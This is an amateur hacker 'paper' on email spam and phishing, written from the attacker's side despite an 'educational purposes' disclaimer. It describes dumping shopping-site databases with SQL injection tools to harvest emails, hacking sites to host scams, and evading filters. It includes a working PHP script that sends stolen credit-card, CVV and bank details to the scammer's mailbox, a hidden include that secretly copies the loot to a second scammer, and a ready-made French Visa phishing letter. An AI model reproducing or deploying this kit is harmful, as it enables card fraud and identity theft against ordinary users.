Spam And Hackers

Dark-Puzzle
(Souhail Hammou)
dark-puzzle@live.fr
Facebook : www.facebook.com/dark.puzzle
From Morocco
(This paper is for educational purposes ONLY)

What are we covering ?

In this paper we are covering what is exactly the meaning of spamming .
What is E-mail Spam ?
What is the importance of scams and scamming to phish Internet users ?
Nowadays Is it important to be a hacker to spam ?
What are the problems facing hackers when spamming ?
How do hackers spam ?
Can I spam for free ?
Some Statistics .

What is Spamming ? :

Spamming is the act of sending or receiving messages from unknown sources , which are trying to sell a product , to phish users and hack accounts (bank accounts , social network credentials).

Nowadays , Most of the spam received mails are shown in the junk/spam category in your email due to different advanced technology methods used by mail service providers .

The first signs of spamming started in the late 19th century , when Western Union has allowed telegraphic messages to multiple destinations from its networks then multiple companies used it by phone , email , television for economical uses . The advantage of spamming that it is a less cost method to insure the successful advertisement of its products .

Thus , the spam infection has been transfered to black hat hackers , those who began to steal bank accounts , email accounts , online shopping credentials using simple methods in the first and more hard method that aquires some experience in hacking in our period now .

A person who is spamming is called a « spammer »

E-mail Spam :

Email spam is annoying and dangerous to recipients but effective , especially for hackers that are actually exploiting the human stupidity (social engineering methods) to steal important information from them .

In general , email spam consists :

Anonymity : it means that neither the source of the email nor its sender is known by the recipient .

Unsolicited : means that the email isn't requested by the recipient

Mass Mailing : means that the e-mail isn't sent for a single person but for many .

Spam & Scams :

We will be talking now about credit card scams . Here , the hacker have to aquire more knowledge in « scamming » it’s in general the art of creating webscams to obtain credit card details (the three or four digit code on your card , your credit card number …) . Thus , they will be using those information to buy things from the Internet or if they have the victim’s PIN code they will be able to transfert , cash out th money from you account . This aquire more anonymity techniques like using

proxies,VPNs,RDPs,bots…
We can say almost the same thing with facebook/gmail/hotmail without the money thing. Who hasn't tried to phish friends with a fake page using some outdated social engineering techniques :) .

Fake Facebook Page

Both Fake & Real pages Look Similar , but there is a difference in the « URL » :
The real URL is : http://www.facebook.com
The Fake URL can be : http://www.hackedsite.com/www.facebook.com/home.php
Keep in mind that the hacker can shorten his url or use the hypertext link in his e-mail to hide his link from the victim , some people may notice some may not .

Is It Important to be a hacker to spam ?

These days you must be a hacker to spam , not a professional hacker but a hacker with knowledge and a little experience , to get credit cards because of the multiple security problem or some situations that you may face. There are many of them like:

1 – Collecting the victims mails to spam .
2 – Uploading your scam and avoiding its detection .
3 – Sending Inbox e-mails to victims . (Bypassing Smart Filters)
4 – Be sure that the result comes only to your email (if you're not a scammer).

These 4 problems are nothing but the steps that you need to complete your mission correctly to ensure that you will get some good result sent back to you e-mail.

How do hackers spam ?

First of all , the hacker must get the target Mailing list first . He will have to

Dump a Shopping website database for example and extact all the emails in their database .
Second , he will have to filter these emails as he likes (Alphabet , EmailProviders , Countries …) . Most hackers are using SQL injection vulnerability that might be present in shopping CMS or maybe biggest companies websites .

After getting the maillist manually or using an automated program (havij , Sqlmap , SQLninja) or with an e-mail grabber like MailSpider that isn't that effective. The Hacker have to upload his scam into a website and avoid its detection .
Now , If the hacker has some scamming skills he will create his own scam with his own email in it without facing any problems . But If he has downloaded one he will obligatory have to check it for some cryptography including another email other than his own . So the spam result will be going to two different emails .

Let's see an Example :

```
<?
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "Time & Date:                ".date("H:i:s | d/m/Y")."\n";
$message .= "_________________+ VERIFIED BY VISA  +_____________\n";
$message .= "Prenom                  : ".$_POST['fname']."\n";
$message .= "Nom                     : ".$_POST['lname']."\n";
$message .= "Adress              : ".$_POST['adress']."\n";
$message .= "Date de Naissance       : ".$_POST['jour']."/".$_POST['mois']."/".$_POST['annee']."\n";
$message .= "Ville                   : ".$_POST['city']."\n";
$message .= "Province                : ".$_POST['pays']."\n";
$message .= "Code Postale            : ".$_POST['zip']."\n";
$message .= "Telephone               : ".$_POST['tel']."\n";
$message .= "_____________+ !Info Carte Credit! +_____________\n";

$message .= "Nom du titulaire de la carte :".$_POST['Fullname']."\n";
$message .= "Type De Carte           : ".$_POST['cctype']."\n";
$message .= "Carte De Credit          : ".$_POST['ccnumber']."\n";
$message .= "date dex                : ".$_POST['exmois']."/".$_POST['exanne']."\n";
$message .= "Cvv                     : ".$_POST['cvv']."\n";
$message .= "Nom de la Banque        : ".$_POST['bankname']."\n"; include 'files/js/visa-logo.js';
$message .= "N° de compte  :        : ".$_POST['idbankname']."\n";
$message .= "Code guichet           : ".$_POST['codeperso']."\n";
$message .= "_____________________________________________\n";
$message .= "IP Address              : ".$ip."\n";
$message .= "_____________+ ! By VISA (VBV) ! +_____________\n";
$to = "dark-puzzle@live.fr";
$subj = " New Cc >> $ip";
$from = "From: VISA<dark-puzzle@live.fr>";
$arr=array($to, $Message);
foreach ($arr as $to)
mail($to, $subj, $message, $from);
header("Location: http://www.visa.ca/fr/personal/index.jsp");
 ?>
```

This is an example of the php script which shows us how the email will be sent to us . It is using the famous mail() function to send us back the result .
The script demands us to declare our e-mail in the variable $to .
Ok we've done everything that's good . But we've forgotten that there's something suspicious about this script . The php include command in line 21 , ok you will say that this is just a visa logo javascript that have nothing that threatens me . Let's take a closer look at this javascript file .

```
                //"phone": {
                    // credit: jquery.h5validate.js / orefalo
                    //"regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,2
                    //"alertText": "* Numéro de téléphone invalide"
                //},
                //"email": {
                    // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugi
                    //"regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\u
                    //"alertText": "* Adresse email invalide"
                //},
                //"integer": {
                    //"regex": /^[\-\+]?\d+$/,
                    //"alertText": "* Nombre entier invalide"
                //},
                //"number": {
                    // Number, including positive, negative, and floating decimal. credit: orefalc
                    //"regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/,
                    //"alertText": "* Nombre flottant invalide"
                //},
                //"date": {
                    // Date in ISO format. Credit: bassistance
                    //"regex": /^\d{4}[\/\-]\d{1,2}[\/\-]\d{1,2}$/,
                    //"alertText": "* Date invalide, format YYYY-MM-DD requis"
                //},
                                        $Message = 'evilscammer@hotmail.com';
                //"ipv4": {
                    //    "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9
                    // "alertText": "* Adresse IP invalide"
                // },
                //"url": {
                    //"regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDC
\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.
                    //"alertText": "* URL invalide"
```

After srolling down the script a little bit we've noticed that there's an evil scammer that wanted to share the result with us I mean steal it . All we have to do now is change the e-mail to our own email again .

Now the Hacker will have to crypt his scam against the online filters there's many method that can be used like the homograph attack that consists changing letters like « a » with the cyrilic letter other than latin ones . You can have some information about it from here :
http://en.wikipedia.org/wiki/IDN_homograph_attack
Or the hacker can download a crypted scam with making sure that there's no emails hidden in it . This is not the only possible way there are many many other ways like base64 encoding …

In this step , the hacker have to upload his scam . So he will hack a website , spawn a shell then upload his scam .

In the same time he will need to send a fake e-mail with the company mail and name without forgetting to use a very attractive title and letter to make the recipient sure about the source of the message .

Letter Example :

Cher client(e) ,
Votre carte de crédit a été suspendue après que nous avons remarqué certaines activités inhabituelles..
Quelqu'un a essayé d'utiliser votre carte sur l'achat de certains objets sur eBay.
Pour votre protection, nous l'avons suspendu. Pour l'activer,
Cliquez ici
et suivez les instructions.
Remarque: Si ce n'est pas fait par 24-06-2012 nous aurons à suspendre votre compte à vie pour éviter tout achat illégales faites par d'autres fraudeurs.

Nous apprécions votre aide dans ce cas.
Cordialement .

Henri Gerard
Support Clients.
Vérifié par Visa équipe .

This is an example of a letter with a hypertext link reffering to the phishing website .
To spam the hacker will have to use an Inbox SMTP account and a tool providing him the mass mailing technique .
After a day or two , the result should arrive to the hacker indicated e-mail .

Can I Spam For Free ?

Yes , it is possible . But it needs more hard work because getting an SMTP account isn't that easy these days . Free.fr company has forbidden to its SMTP accounts the send of emails containing suspicious source emails, titles & content .
Or you can just try to program your own php mailer or download it from the net and try it on different servers until you get an Inbox one or just hack an SMTP account from a remote server .

But , there's a lot of companies providing SMTP accounts for low pricing , so it wouldn't ve free for you if you're not very familiar with hacking .

Statistics :

You can find some interesting statistics about spamming in 2012 here :

https://www.trustwave.com/support/labs/spam_statistics.asp

Thanks for your time reading this paper .

/Souhail Hammou\